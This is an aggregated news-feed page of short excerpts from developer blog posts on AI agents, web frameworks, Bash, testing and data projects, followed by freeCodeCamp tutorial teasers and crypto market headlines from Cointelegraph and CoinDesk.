    Beyond the Black Box: Why We Built Context Space as a Tool-First Infrastructure If you've built an AI agent recently, you've likely felt a strange mix of awe and frustration. On one hand, its capabilities are astounding. On the other, trying to debug why it chose one action over another feels like staring into a black box. The agent's reasoning is opaque, its behavior unpredictable, and scaling its abilities often leads to an exponential increase in chaos. At Context Space, we believe this isn't a fundamental flaw of AI, but a symptom of the current development paradigm. We're trying to build predictable systems on top of a non-deterministic black box. Our answer? A shift in perspective. We're building Tool-First. A Tool-First approach flips the script. Instead of treating the LLM as the…  ( 5 min )
    Translating data into meaning: Why I turn financial signals into ethical stories.
    Hello, Dev Community! I'm Quetzalquant — and today, I begin a personal and professional journey that merges data, storytelling, and purpose. For years, I’ve studied financial markets, data analysis, and narrative structures. Recently, I’m building my path as a data-driven storyteller focused on financial systems — both traditional and decentralized. In a world flooded with numbers, dashboards, and noise, the actual meaning of data often gets lost. Markets are reduced to tickers. Users are reduced to wallets. And financial decisions are made on shallow signals. But behind every chart, every token, every dataset — there’s a story. A need. A value being created (or destroyed). And I believe we must tell those stories with clarity, responsibility, and vision. I help fintech startups, DAOs, and individual traders: Translate their financial data into visual insights (Python, SQL, DuckDB) Convert complex reports into accessible, strategic content (white papers, institutional reports) Communicate their value in ethical, clear narratives — not hype, not smoke. This is not about selling a service. It’s about offering a lens: a way to make sense of systems that shape real lives. I'll be publishing here weekly, sharing: Technical articles (data visualization, financial analysis, Python tools) Strategic narratives (case studies, market behavior insights, trading analysis) Ethical reflections on Web3, open finance, and narrative design for impact If you believe stories matter in the age of data, we might be aligned. You can find more of my work on LinkedIn https://www.linkedin.com/in/quetzalquant/ , or follow my journey here as I build this freelance project from scratch — ethically, transparently, and with intention. This is not a startup built in Silicon Valley. This is a startup built with soul, signal, and story. Thanks for reading. More soon.  ( 3 min )
    Validate your startup idea in 10 seconds (side project)
    Hey devs 👋 I'm building Gonogo, a side project that helps you quickly evaluate your startup ideas. It scores your idea across 5 dimensions: Market Attractiveness Problem Severity Differentiation Execution Feasibility Monetization Clarity It gives you a simple GO / NO-GO verdict — like a mini investor in your pocket. → Try it on the App Store Why I'm building it: I wanted to get sharper at judging what’s worth building I'm experimenting with monetization (AdMob) and fast iteration It's also helping me get better at launching — not just coding Tech stack: SwiftUI (iOS) AdMob (banner ads) Cloudflare Worker calling OpenAI’s API No backend DB — your idea isn’t stored anywhere. OpenAI sees your idea text once (like using ChatGPT), then it’s gone. 🗑 Delete the app, and your history’s wiped. Would you find this useful for refining ideas over time? Drop thoughts or feedback — especially if you’ve built something similar! Download Gonogo here Happy to jam with other side project builders.  ( 3 min )
    The problem with AI agents isn’t the model, it’s missing context (and we built the fix)
    The problem with AI agents isn’t the model, it’s missing context (and we built the fix) When the concept of MCP (Model Context Protocol) first emerged, I felt a jolt of genuine excitement. This was it. This was the key that would let us unlock the true potential of LLMs, allowing them to interact with tools and the real world. I jumped in headfirst, my mind buzzing with ideas for truly intelligent agents. Then reality hit. My initial excitement quickly turned into a grinding frustration. The cycle became depressingly familiar: Spend hours figuring out the right API calls for a tool. Manually edit a sprawling, unforgiving config.yaml file. Worry constantly about accidentally committing secret keys. Finally get it to work, only to have the agent forget a crucial piece of information from t…  ( 4 min )
    [Boost]
    Unity vs Unreal vs Godot: Finding Your Perfect Game Engine in 2025 Philip John Basile ・ Jul 22 #godot #unity3d #unrealengine #gamedev  ( 2 min )
    Please Make Jarvis So I Don’t Have To – Vision from Kent C. Dodds
    Jarvis from Iron Man isn't just science fiction—it's becoming a design goal. In this talk, Kent C. Dodds explores what building a "Jarvis-like" experience might look like using MCP, and what challenges still stand in the way. Creating a unified AI assistant that knows your context, acts across applications, and proactively helps is a daunting task. The biggest hurdles: Trust and privacy in delegating personal tasks. Seamless integration without user-managed servers. Multimodal communication (text, voice, UI). Proactive support and long-term memory. Today’s tooling—LLMs, UI frameworks, MCP—can enable these features, but they are fragmented. Kent’s framing is simple: imagine an LLM-powered assistant embedded into every part of your digital life, much like a browser today. "Websites will beco…  ( 4 min )
    lynnx Theme Pro
    One extension. Five styles. Infinite Vibes + ICONS. 🌑 Dark Mode ☀️ Light Mode 🌃 Night Mode 🍃 Ghibli Mode ☕ Coffee Mode Compatible with VSCode, Cursor, Windsurf, Kiro and more. 📂 GitHub: https://github.com/bastndev/Lynx-Theme https://marketplace.visualstudio.com/items?itemName=bastndev.lynx-theme  ( 2 min )
    Middleware Architecture Patterns for Request Processing(6044)
    GitHub Homepage: https://github.com/eastspire/hyperlane My understanding of middleware architecture evolved during a complex project where we needed to implement authentication, logging, rate limiting, and CORS handling across dozens of API endpoints. Initially, we duplicated logic across handlers, creating a maintenance nightmare. This experience led me to explore middleware patterns that could elegantly solve cross-cutting concerns while maintaining performance and flexibility. The breakthrough moment came when I realized that middleware isn't just about code organization—it's about creating composable, reusable components that can transform requests and responses in a predictable pipeline. My research revealed a framework that implements middleware patterns with exceptional performance …  ( 9 min )
    A Simple Guide to Bash Commands for New Developers
    Original post: https://www.kimkorngmao.com/notes/simple-guide-bash-commands-for-new-developers If you are a new developer, you probably use a nice GUI (Graphical User Interface) to code. It's easy. But when you start doing real work—like backend systems, deployment, or CI/CD—you will need to use the Terminal. Using the terminal and Bash commands is a skill you must have. This article is for new developers who are not used to the command line. Basics & File Management pwd, ls, cd, touch, mkdir, rm, cat, less, head, tail, echo Searching & Editing grep, find, nano Managing Git git clone, git status, git log Processing Text awk, sed, jq Calling APIs & Basic Networking curl, ping, wget, netstat, lsof 1 Basics and File Management pwd – Where am I? T…  ( 7 min )
    🛠️ FastAPI in Production: Build, Scale & Deploy - Series B : Services, Queues & Containers
    Welcome to Part 2 of our 3-part FastAPI Series 📦 - Full source code is available on GitHub! In case you missed it, here’s 🔥PART 1 to get you up to speed! To whet your appetite, here are just a few of the interesting features we’ll be focusing on: 🐳 Dockerized Environment Setup 🚀 Asynchronous Task Processing with Celery 📦 Boss-Level Project Documentation with MKDocs. Before we dive in, here's a quick look at what we'll cover: ⚽ Picking Up Where We Left Off 🗂️ Project Structure 🛢️ Setup Database 💾 Perform CRUD Operations 🚀 Offloading CPU Intensive Workloads with Celery 📄 Project Documentation with MKDocs 🐳 Running Your Project in Docker ⚽ Picking Up Where We Left Off Let’s pick things up by cloning the repo from Part 1 and setting up our project environment. Fo…  ( 12 min )
    8 Cypress Plugins Shaping Modern Testing in 2025
    Cypress continues to dominate the web testing ecosystem in 2025. Its plugin ecosystem has matured and now plays a vital role in enabling high-quality, scalable, and developer-friendly testing pipelines. Here are 8 Cypress plugins that have stood out this year—based on adoption, developer feedback, and impact on modern testing workflows. eslint-plugin-cypress: Enforcing Cypress Best Practices Why It Matters This plugin enforces Cypress-specific linting rules to catch anti-patterns like misuse of async/await, unnecessary waits, and missing assertions. npm install --save-dev eslint-plugin-cypress // eslint.config.js import pluginCypress from 'eslint-plugin-cypress'; export default [pluginCypress.configs.recommended]; Prevents flaky tests Works with ESLint v9+ Cypress core tea…  ( 4 min )
    x86 Single Board Computer vs ARM: A Neutral Technical Comparison
    Single-board computers (SBCs) Single-board computers (SBCs) have revolutionized embedded development, IoT, and hobbyist projects. Two dominant architectures power these devices: x86 (Intel/AMD) and ARM (various vendors like Rockchip, Broadcom, and Qualcomm). Each has distinct advantages depending on the use case. In this article, we’ll compare x86 SBCs and ARM SBCs objectively, covering performance, power efficiency, software support, and cost. We’ll also highlight the Rockchip RK3588 and RK3588S, two powerful ARM-based SoCs gaining traction in the SBC market. x86 vs ARM x86 SBCs (Intel/AMD) Strengths: Higher single-threaded performance (better for legacy desktop applications). Full compatibility with x86-64 OSes (Windows, standard Linux distros). Better virtualization support (VT-x, A…  ( 4 min )
    Design Philosophy of Zero-Dependency Web Framework(3886)
    GitHub Homepage During my junior year studies, I have encountered many different web frameworks, from Spring Boot's "convention over configuration" to Django's "batteries included." Each framework has its unique design philosophy. Recently, I discovered an impressive web framework that adopts a completely different design philosophy—zero-dependency design. This minimalist design philosophy made me reconsider the essence of software architecture. In my previous project experience, dependency management has always been a headache. Taking a typical Spring Boot project as an example, even the simplest "Hello World" application requires introducing numerous dependencies. org.springframework…  ( 8 min )
    Assembly ai
    A post by Sakshi Srivastava  ( 2 min )
    What is Bayes' Theorem?
    Unlocking the Power of Prediction: Bayes' Theorem and its Reign in Machine Learning Imagine this: you're scrolling through your social media feed, and suddenly, an advertisement pops up for hiking boots. Spooky, right? Or is it just clever application of machine learning? Behind many such personalized experiences lies a powerful mathematical tool: Bayes' Theorem. This seemingly simple equation underpins a vast array of machine learning applications, from spam filtering to medical diagnosis. Let's unravel its magic. Bayes' Theorem is a fundamental concept in probability theory that describes how to update our beliefs about an event based on new evidence. In simpler terms, it helps us revise our initial guesses (prior probabilities) in light of fresh information. The theorem is expressed m…  ( 6 min )
    UK Laptop Imports vs Exports (2019–2025): A Power BI Data Story
    Why I Analyzed UK Laptop Trade I run a laptop import business in India and recently began exploring the idea of expanding to the UK. Before making any strategic decisions, I wanted to understand the actual trade flow of laptops into and out of the UK. I used official data from the UN Comtrade Database and built an interactive Power BI dashboard to analyze seven years of UK laptop import and export activity (2019–2025). Here’s the interactive dashboard I built using Power BI: View the Live Power BI Dashboard Features include: Year, country, region, and trade flow filters KPIs showing total quantities and trade values Average unit price comparisons Import vs export trend charts Regional and partner country breakdowns The UK imports significantly more laptops than it exports. China is the dominant import partner by volume and value. UK laptop exports are relatively low, likely driven by re-exports or refurbished stock. Export unit prices tend to be higher, but quantities are much smaller. Seasonal spikes reflect broader tech consumption patterns. Source: UN Comtrade Database HS Code: 847130 (Portable laptops) Time Range: 2019–2025 Frequency: Monthly Access the cleaned and raw datasets on GitHub: GitHub Repo with Dataset and Notes Tools and Process Power BI for dashboard development Excel and Power Query for data cleaning and transformation GitHub for dataset storage and collaboration Based on the data, the UK's laptop trade is largely one-directional. The UK acts as a consumer hub, heavily reliant on imports, with limited outbound trade in laptops. This insight is particularly valuable for anyone interested in international tech supply chains, business expansion, or digital market trends. If you’re interested in similar visualizations or exploring trade data for other products or markets, let me know. I plan to explore topics like electric vehicle adoption and consumer electronics trends in upcoming posts. You can follow me for more interactive data projects at datatales.co.uk.  ( 3 min )
    TCP Optimization Techniques for Web Server Performance(9497)
    GitHub Homepage: https://github.com/eastspire/hyperlane My journey into TCP optimization began during a network programming course where our professor challenged us to minimize connection latency for a real-time trading system. Most students focused on application-level optimizations, but I discovered that the greatest performance gains come from understanding and optimizing the underlying TCP layer. This exploration led me to techniques that dramatically improved web server performance. The breakthrough moment came when I realized that default TCP settings are optimized for general internet traffic, not for the specific requirements of high-performance web servers. By applying targeted TCP optimizations, I achieved response time improvements of 30-40% while maintaining connection stabilit…  ( 7 min )
    Why Your Vibe-Coded App Will Fail (And How to Fix It)
    I built three tools last month. Little things: a script runner, a markdown converter, something to track my workouts. Each one took a few hours. Ship, share, move on. But here's what I noticed: I wasn't the only one doing this. Everyone's shipping apps now. My Twitter feed is full of "built this in 2 hours with AI" posts. Product Hunt has 50 new AI-built tools every day. And most of them are ghost towns by week two. When building gets this easy, you stop asking if you should build something. You just build it. I did it too. Had an idea, opened Lovable, described what I wanted. Two hours later I had a working app. Felt like magic. But then nobody used it. Not because it was broken. Because nobody needed it except me. Multiply this by thousands of builders doing the same thing. That's where …  ( 7 min )
    WinDirStat 2.0 GitHub App – Automate Your Disk Cleanup
    Looking to automate your disk usage analysis and cleanup? WinDirStat 2.0 is now available as a GitHub App! Clean large files in CI/CD pipelines Disk usage visualized with no local install GitHub Action compatibility Works seamlessly with Windows-based projects 🔗 Install GitHub App Now Try it out and bring disk management to your dev workflow. Contribute or fork on GitHub!  ( 2 min )
    Neural Networks: Developing a Really Simple Neuron in TypeScript
    Neural networks, at their core, are complex systems built from simple mathematical units called neurons (or perceptrons). Today, we will implement a very simple neuron in TypeScript. For context, a neural network is composed of one or more layers. Each is composed of one or more neurons. But we’ll save neural network layers for another blog post. The simplest form of a neuron is the perceptron. Let’s create a perceptron service: export class PerceptronService { #weights: number[]; constructor( private activationService: BinaryStepService, inputSize: number = 0, ) { this.#weights = inputSize > 0 ? Array(inputSize).fill(0).map(() => Math.random() * 2 - 1) : []; } } Inputs: A neuron takes one or more inputs. Each input will be evaluated against a corresponding, pre…  ( 6 min )
    Which speeds up development more: AI Coding Agents or Pair Programming?
    AI is transforming software engineering, but how much does it really speed up development? Big tech companies claim that AI can boost code output by 30% or more. But does that mean teams are actually 30% more efficient? Are features reaching customers 30% faster? Let's dig in and find out. With my knowledge of queue theory and the theory of constraints made me skeptical. Sure, developers might code faster with AI, but what about bottlenecks elsewhere in the pipeline? Could speeding up coding actually slow things down downstream? And what about tried-and-true practices like pair programming and trunk-based development, are they even faster than using pull requests and feature branches? I decided to put these ideas to the test with a simulation, using GitHub Copilot and some queue theory too…  ( 6 min )
    My First Hackathon – 24 Hours, 1 Fintech App, 0 Sleep (Spoiler: We won a Special Mention too 🏆)
    So yeah — I finally did it. Attended my first ever hackathon. Not virtually, not as a ghost registrant. I actually showed up, with real humans, real deadlines, and real panic. It was Business Hackathon 2.0, and we had 24 hours to build something, pitch it, maybe cry a little, and call it innovation. We built a fintech app called SpendSight — more on that in a sec — and somehow ended up winning a Special Mention Award. Which, let me tell you, felt like getting the "most likely to accidentally build a startup" badge. But let's rewind. The idea was simple: Take those horrendous PDF bank statements, feed them into our app, and magically get back clean, categorized, human-readable insights in csv — without ever touching Excel. We had: No backend yet A half-baked frontend skeleton 2 people who …  ( 5 min )
    Step by Step Guide: how to provide storage for a new company app
    As businesses continue to evolve in an increasingly digital world, a robust and reliable storage solution is the backbone of any modern application. Our new company app is built to support seamless user interactions, real-time data access, and secure document handling—and at the center of this functionality is a trusted cloud-based storage infrastructure powered by Microsoft Azure. Why Storage Matters Key Benefits of Cloud Storage: Scalability: Easily grows with your app’s user base. Accessibility: Data is accessible from anywhere, anytime. Security: Enterprise-grade protection and compliance. Cost-Effectiveness: Pay for only what you use. What Is a Storage Account in Azure? Blob Storage – for unstructured data like PDFs, DOCX files, or scanned images When creating a storage account, you d…  ( 7 min )
    How I Accidentally Pushed Extra Folders to GitHub — And How to Fix It
    Introduction If you've ever worked with Git repositories, you might have experienced an odd situation where you pushed your code to GitHub — only to realize that not just your intended project folder got uploaded, but some unexpected folders or files appeared too. This usually happens because of a confusion about where your Git repository is actually initialized (the “Git root”) versus where your project folder lives on your computer. In this blog post, I’ll share my experience with this issue, how I diagnosed it, and the steps I took to fix it, so you can avoid this headache. I was working on a project called job_email_classifier inside a directory called MISC. I thought I was pushing only the job_email_classifier folder to GitHub. But when I checked the remote repository, I noticed ano…  ( 4 min )
    Kalkulator Simulasi Program
    Check out this Pen I made!  ( 2 min )
    FSx NetApp ONTAP Remounted: Reviewing Second Generation Cloud Filesystems
    Photo by Rohan on Unsplash Cloud Storage is a critical feature of most top-tier enterprises we've all used and take for granted. These solutions enable team collaboration, planning, and content sharing. Given that many business enterprises can be storage-hungry, being able to scale in an elastic fashion is important. With a presence spanning two decades, NetApp ONTAP is a renowned network storage solution recognised for its reliability and performance. The adoption of NetApp into the AWS FSx family of services in 2021 combines the scale and automation of AWS Cloud with the reliability of NetApp, creating a top-tier cloud storage solution. Over the last year, the FSx NetApp ONTAP offering has undergone several notable improvements to further scale past some of its limitations, enabling it t…  ( 9 min )
    2025 Complete Guide: How to Choose the Best Qwen3-Coder AI Coding Tool
    🎯 TL;DR Key Points Qwen3-Coder-480B-A35B-Instruct is the most powerful open-source agentic coding model to date, supporting ultra-long context and efficient multi-turn interactions—ideal for complex code and automation tasks. The latest generation excels in code generation, tool use, and multi-agent orchestration, with an official CLI tool (Qwen Code) for seamless integration into developer workflows. Community feedback is enthusiastic, but the model requires significant hardware resources, making it best suited for professionals with access to high-end compute; smaller versions are anticipated for broader adoption. What is Qwen3-Coder? Core Advantages of Qwen3-Coder-480B-A35B-Instruct How to Install and Use the Qwen Code Tool? Qwen3-Coder vs. Other Leading Models Community Reviews & R…  ( 5 min )
    Daily JavaScript Challenge #JS-232: Sum of Digits in a String with Non-digit Characters
    Daily JavaScript Challenge: Sum of Digits in a String with Non-digit Characters Hey fellow developers! 👋 Welcome to today's JavaScript coding challenge. Let's keep those programming skills sharp! Difficulty: Easy Topic: String Manipulation Create a function that takes a string containing alphanumeric characters and returns the sum of all the digits in the string. Non-digit characters should be ignored. If a negative number is found, digits after the '-' sign should still be summed (i.e., '-256' should sum to 2+5+6). https://www.dpcdev.com/ Fork this challenge Write your solution Test it against the provided test cases Share your approach in the comments below! Check out the documentation about this topic here: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charCodeAt How did you approach this problem? Did you find any interesting edge cases? What was your biggest learning from this challenge? Let's learn together! Drop your thoughts and questions in the comments below. 👇 This is part of our Daily JavaScript Challenge series. Follow me for daily programming challenges and let's grow together! 🚀 javascript #programming #coding #dailycodingchallenge #webdev  ( 19 min )
  • Open

    A Beginner Developer's Guide to Kanban
    First, a confession: When I was learning to code, my “workflow” was a mess. Sticky notes. Google Docs. Random Trello boards I never checked again. And a to-do list that somehow never got any shorter. Then I joined a real team. Suddenly, I was introdu...  ( 10 min )
    How to Use AI Effectively in Your Dev Projects
    “AI is not going to take your job – but a developer who knows how to use AI will.” I’ve seen this statement everywhere, and it’s the only one about AI taking our jobs that I totally agree with. Software development has changed. It’s not what it used ...  ( 9 min )
    A Beginner Developer's Guide to Scrum
    Let me guess: you’re learning to code…alone. You’ve been grinding through tutorials. You've built a portfolio site, maybe deployed a few projects on GitHub. And now you're trying to land a job or join a team. Then the interviews start. Suddenly, peop...  ( 14 min )
    Learn TypeScript in 1 Hour
    TypeScript is a powerful, statically-typed superset of JavaScript that helps you write safer and more maintainable code. We just posted a course on the freeCodeCamp.org YouTube channel that will help you master the essentials of TypeScript. In just o...  ( 4 min )
  • Open

    Crypto 'control' takes center stage at Roman Storm trial
    With the trial of the Tornado Cash co-founder ending its eighth day, a witness testified Roman Storm had control over some of the funds connected to the mixing service.
    Ether emerges as winner after crypto’s ‘watershed moment’: Bitwise
    A pro-crypto US government, near-insatiable institutional investor demand, and the chance for ETH staking ETFs made ETH a top performer last week.
    Asymmetric shifts funds strategy after investor posts losses on X
    After a $10 million loss became public on X, crypto hedge fund Asymmetric is pivoting away from liquid trading strategies.
    SOL price drop to $180 would be 'golden' entry before rally to new highs
    SOL is down nearly 10% on the day, but charts suggest the bull trend remains intact.
    Traditional companies enter the crypto treasury game with BTC, XRP and SOL buys
    Nature’s Miracle, Upexi and Japan's Kitabo are the latest companies adopting crypto treasury strategies.
    Fate of crypto, CBDC bills unclear as US Congress heads into recess
    Lawmakers are expected to break in a matter of days, but there are still items on the legislative agenda to address, including two crypto bills passed by the House.
    Block joins S&P 500, bringing more Bitcoin exposure to equity index
    Block’s inclusion in the S&P 500 could indirectly increase equity investors' exposure to Bitcoin and the asset’s mainstream acceptance.
    XRP threatens drop to $3: Will bulls step in to buy the dip?
    XRP’s tight range trading resolved to the downside, but lower levels are expected to attract buyers.
    Trump's AI plan eases data center rules, strips federal DEI guidelines
    The White House on Wednesday released its plan to make the United States a global leader in artificial intelligence research and development.
    MoonPay launches Solana staking as investor demand for onchain yield grows
    MoonPay introduces liquid staking for Solana as the network sees record staking activity, ETF inflows and major treasury buys from firms like DeFi Dev and Upexi.
    ETH news update: Can SharpLink Gaming, BitMine treasuries send Ether to $4K?
    Ether price pulled back after a relentless run, but lower levels are likely to attract buyers.
    SOL news update: Solana treasury building activates rally toward $240
    SOL treasury building and robust inflows to the Solana staking ETF hint at rising demand and a potential rally to $240.
    WisdomTree’s USDW stablecoin to pay dividends on tokenized assets
    USDW is part of WisdomTree’s stablecoin interoperability strategy and is intended to complement the company’s tokenized funds.
    Crypto ATMs were just banned in New Zealand: Here’s why it matters
    New Zealand’s financial watchdog outlawed crypto ATMs, citing regulatory gaps and AML concerns and raising questions about retail access and compliance.
    Bitcoin grabs bid liquidity as BTC price dip targets include $113K
    Bitcoin price action targets waiting $117,500 liquidity in a volatile Wall Street open, while record open interest sparks warnings of crypto market "froth."
    DOGE price gained 340% the last time this indicator turned bullish
    Dogecoin price rallied between 270% and 340% after similar bullish crosses in the past, and the same signal is flashing again this July.
    Mara to raise up to $1B for Bitcoin and operations via debt sale
    Mara Holdings announced plans to offer up to $1 billion in zero-interest convertible notes, with proceeds earmarked for repurchasing debt, buying Bitcoin and corporate expenses.
    Crypto entrepreneurs were fleeing America, but we can bring them back
    Regulatory uncertainty drove crypto innovation offshore, but new bipartisan leadership and clear frameworks can restore America’s financial dominance.
    Goldman Sachs, BNY Mellon to offer tokenized money market funds for clients
    Goldman Sachs and BNY Mellon will allow institutions to access tokenized money market funds with 24/7 settlement and blockchain-based ownership tracking.
    How high can XRP price go from its $3.66 multimonth high?
    XRP is consolidating near its multimonth high, but some new projections from market analysts point to a potential rally to as high as $10.
    Crypto adoption in 2025 spurred by payments, AI: Survey
    37% of survey participants cited artificial intelligence and payments as the key drivers for crypto adoption in 2025.
    'This isn't a top': Here's why Bitcoin analysts say BTC will break $123K
    Several Bitcoin onchain metrics are suggesting that BTC’s market structure remains strong and the bull cycle has more room to run.
    CoinShares secures MiCA license in France to cement EU presence
    In addition to its leadership in the EU, CoinShares has been actively expanding in the US market since officially entering in 2023, aiming to compete with major industry peers.
    OpenAI, Oracle expand $500B Stargate spend as Musk unveils bold xAI plan
    OpenAI expands Stargate with Oracle to surpass 5 GW of AI power, while Elon Musk outlines plans for xAI to deploy 50 million H100-scale units in 5 years.
    Bitcoin speculators hint at 'local bottom' as buyers target $117.5K
    Bitcoin profit-taking may be inadvertently revealing the next "local bottom" for BTC price, new analysis suggests.
    Fees, collateral give DeFi edge as TradFi eyes crypto loans: 1inch exec
    1inch co-founder Sergej Kunz told Cointelegraph that DeFi’s user experience, wider collateral range and optimized fees give it an edge over TradFi in the lending race.
    Ozzy Osbourne’s passing sparks 400% surge in CryptoBatz NFTs
    Though modest compared to 2022 levels, the latest spike in Ozzy Osbourne’s CryptoBatz NFTs could signal an NFT market rebound.
    South Korean regulator urges asset managers to limit crypto exposure
    South Korea’s FSS advises fund managers to limit ETF exposure to crypto firms like Coinbase, citing caution as regulatory rules are still evolving.
    Colorado pastor and wife indicted for $3.4M crypto scam
    The pastor claimed that “God told” him to shill INDXcoin, which caused financial losses to at least 300 investors.
    Spot Ether ETFs attract $533M, extend 13-day inflow streak to over $4B
    Spot Ethereum ETFs notch $533 million in daily inflows, pushing all-time inflows to $8.3 billion amid rising institutional demand.
    US looks to grab $7.1M in crypto from oil and gas investment scam
    Federal prosecutors in Seattle are looking to win forfeiture of millions worth of crypto tied to an investment scheme in the hope of distributing it to victims.
    Crypto traders with ‘emotionless approach’ to do well this cycle — Exec
    As traders try to guess the crypto market’s next move, Coinstash co-founder Mena Theodorou says sticking to historical trends is still the smartest move.
    Bank of England mulls canning CBDC plan: Report
    The UK central bank is considering abandoning its digital pound plans as its Governor Andrew Bailey favors private payment innovations over a state-backed CBDC.
    SEC approves, then instantly pauses Bitwise’s ETF conversion
    SEC greenlights Bitwise ETF, then halts it hours later — analysts say politics or missing crypto rules could be behind the sudden reversal.
    21Shares files with SEC for spot ONDO ETF
    21Shares has filed a preliminary application with the US Securities and Exchange Commission for an ETF tracking the token of the DeFi platform Ondo Finance.
    Bitcoin hitting $200K this year ‘very improbable,’ says analyst
    Glassnode lead analyst James Check says in five years’ time Bitcoin will be “well and truly” past the $200,000 price level, but doesn't expect it to surpass that this year.
    UK to ban public sector from making ransomware payments
    The UK will prohibit its public sector, such as its health service and local councils, from paying ransomware in a bid to “smash the cyber criminal business model.”
  • Open

    Tesla’s Bitcoin Holdings Now Worth $1.2B After 30% BTC Price Rally in Q2
    A new accounting rule this year lets companies mark crypto assets to market, benefiting Tesla’s balance sheet.
    Joe McCann Closes Asymmetric Liquid Fund After 'Shifting Away From Liquid Trading'
    McCann is shutting down crypto fund after steep losses and shifting his focus to long-term blockchain investments.
    The Protocol: Ethereum Validator Exit Queue Backs Up
    Also: Jito Debuts BAM, Ethereum Validators Raise the Gas Limit and Dogecoin Could Get ZK Proofs.
    The Node: Tim Draper on Bitcoin’s Gravitational Pull
    Billionaire venture capitalist Tim Draper first invested in bitcoin at $6 — and he’s still super bullish on the digital asset. We chatted about it last week.
    PEPE Plunges 5% on Volume Spike, but Whale Wallets Are Accumulating
    Despite the selloff, indicators suggest growing investor interest, including a 3.2% increase in whale wallet holdings and a 2.5% decrease in PEPE on exchanges.
    Grand Jury Charges Pastor, Wife in Alleged Multi-Million Dollar Cryptocurrency Scam
    Between January 2022 and July 2023, Eli and Kaitlyn Regalado allegedly solicited nearly $3.4 million from investors and mostly targeted churches.
    NEAR Protocol Slides 5% as Altcoin Season Abruptly Ends
    NEAR’s sharp drop highlights broader fragility in crypto markets as traders brace for continued volatility.
    ICP Drops 5% as Crypto Market Rotates, Resistance Holds
    ICP declines as broad altcoin-market retreat overwhelms Bitcoin DeFi infrastructure news.
    ATOM Sinks 5% Amid Altcoin Weakness, Faces Key Support Test
    Cosmos Hub’s native token plunged as intense distribution activity weighed on prices, while late-session volatility suggests fragile recovery prospects.
    The Future of Digital Asset Infrastructure in Latin America
    Although cryptocurrencies have the potential to entirely change the economy and access in Latin America, their success hinges on infrastructure that prioritizes the needs of marginalized populations, regulatory clarity and educational efforts, writes ChainMyne’s Kimberly Rosales.
    BONK Tests Support Levels After High-Volume Drop
    BONK posted steep intraday losses with 2.8 trillion-token turnover as resistance intensified at higher price levels.
    The Rate Renaissance: How Benchmark Rates Unlock DeFi’s Potential
    Forward rate agreements (FRAs) serve as a foundational tool in the fixed income market to allow participants to manage expected interest rate fluctuations, and ultimately provide structure and scalability to unlock the next evolution of DeFi, write Treehouse Labs’ Jun Yong Heng and Si Wei Yue.
    BNB Briefly Tops $800 as Investors Adopt Risk-On Attitude, Corporate Adoption Grows
    The price increase helped BNB become the fifth-largest cryptocurrency by market capitalization, and while technical resistance near $808 may limit further gains.
    Square Begins Rollout of Bitcoin Payments for Sellers, Targets Full Availability by 2026
    Payments are settled in real-near time using Bitcoin layer-2 Lightning, with Square processing the exchange into fiat
    Shiba Inu Tanks 7% With Broader Market, But Outperforms DOGE
    Despite falling below the 200-day SMA, SHIB remained above the Ichimoku cloud, indicating a potentially bullish long-term trend.
    Goldman Sachs and BNY Mellon Team Up for Tokenized Money Market Funds
    The Wall Street banking giants are joining to a growing roster of traditional financial firms to offer tokenized versions of assets.
    Altcoin Season Takes Breather With SOL, XRP, TON Among Those Posting Heavy Losses
    Altcoins tumbled Wednesday, triggering over $200M in liquidations and pushing bitcoin’s dominance back past 60%.
    CoinDesk 20 Performance Update: Ripple (XRP) Drops 5.2%, Leading Index Lower
    Cardano (ADA) was also among the underperformers, declining 5.1% from Tuesday.
    Brazil's VERT Debuts Tokenized Credit Platform on XRP Ledger With $130M Issuance
    The offering, with Ripple's contribution, aims to streamline Brazil’s structured credit market and attract foreign investors.
    XRP Pulls Back After Technical Surge; Pattern Still Points to $6 Target
    Six-year breakout holds, but late-session sell pressure tests key levels as ETF momentum and U.S. crypto legislation continue to drive long-term narrative.
    Dogecoin, Cardano, XRP See Profit-Taking, BNB Crosses $800 as Economists See Lower Chances of July Rate Cut
    The U.S. Federal Reserve remains under intense political pressure ahead of its July 30 meeting, with President Trump and some of his appointees openly calling for rate cuts despite sticky inflation.
    MARA Holdings Plans $850M Convertible Note Offering to Fuel Bitcoin Buys, Repay Debt
    MARA Holdings (MARA) looks to expand its crypto holdings and restructure existing debt
    The Market Has Become 'Overly Excited' for Stablecoins, Hong Kong Financial Regulator Says
    Only a few stablecoin licenses will be issued, Hong Kong Monetary Authority CEO Eddie Yue said.
    XRP's July Uptrend Threatened as Bitcoin's $120K Price Resistance Holds
    XRP breaks the July uptrend line as BTC's MACD hints at a bearish shift in momentum.
    Altcoins, NFTs Lure Risk-On Buyers: Crypto Daybook Americas
    Your day-ahead look for July 23, 2025
    Bitwise CIO on Ether’s ‘Demand Shock’: Why ETH’s Rally Has Staying Power
    Matthew Hougan says ETH treasury firms and spot ether ETFs are driving a $10 billion ETH supply squeeze, pushing ether toward structurally higher prices.
    Prince of Darkness’ Death Sparks Wave of Rug-Pulls on Solana
    Ozzy Osbourne’s death on Tuesday has sparked a wave of scam tokens on Solana, as bad actors exploit the heavy metal icon’s legacy for quick cash grabs.
    Solana's SOL Could Hit $500 in This Bull Run, Says Analyst, as Upexi Boosts Holdings to 1.8M SOL
    Upexi’s SOL stash now exceeds $330 million after a $200 million capital raise, as one analyst calls for a breakout to $500 this cycle.
    Grayscale ETF Head David LaValle to Exit as Firm Eyes IPO: Report
    LaValle joined Grayscale in 2021 to address investor dissatisfaction with the Bitcoin Trust’s discount and worked on its conversion to a spot bitcoin ETF.
    Fartcoin Jumps to Top Ten Based on Derivatives Open Interest, Signals Speculative Frenzy in the Solana-Based Memecoin
    Smaller cryptocurrencies show disproportionately high open interest compared to market cap, signaling potential risk for traders.
    Galaxy Positioned to Capture Favorable Regulatory Upside, Jefferies Says as It Initiates With Buy
    Jefferies assigned Galaxy (GLXY) a buy rating and a $35 price target
    Crypto Asset Manager CoinShares Secures EU-Wide MiCA License
    The license, granted by France's AMF, allows it to offer crypto portfolio management services across the European Union.
    Disguised Unemployment in Blockchain? Data Shows Only 12% of Ethereum, 25% of Solana Protocols Have Revenue
    A large number of protocols on the two chains haven't captured any value lately, in what looks like on-chain version of disguised unemployment.
    Backed Finance's Tokenized Stocks Product Volume Jumps to $300M
    Backed Finance's tokenized U.S. equities product, xStocks, has surpassed $300 million in trading volume within four weeks of launch.
    DOGE Volume Spikes 75% Above Average as Traders Defend $0.26 Floor
    Traders are eyeing breakout signals from resistance at $0.27, which has held firm despite bullish intraday activity.
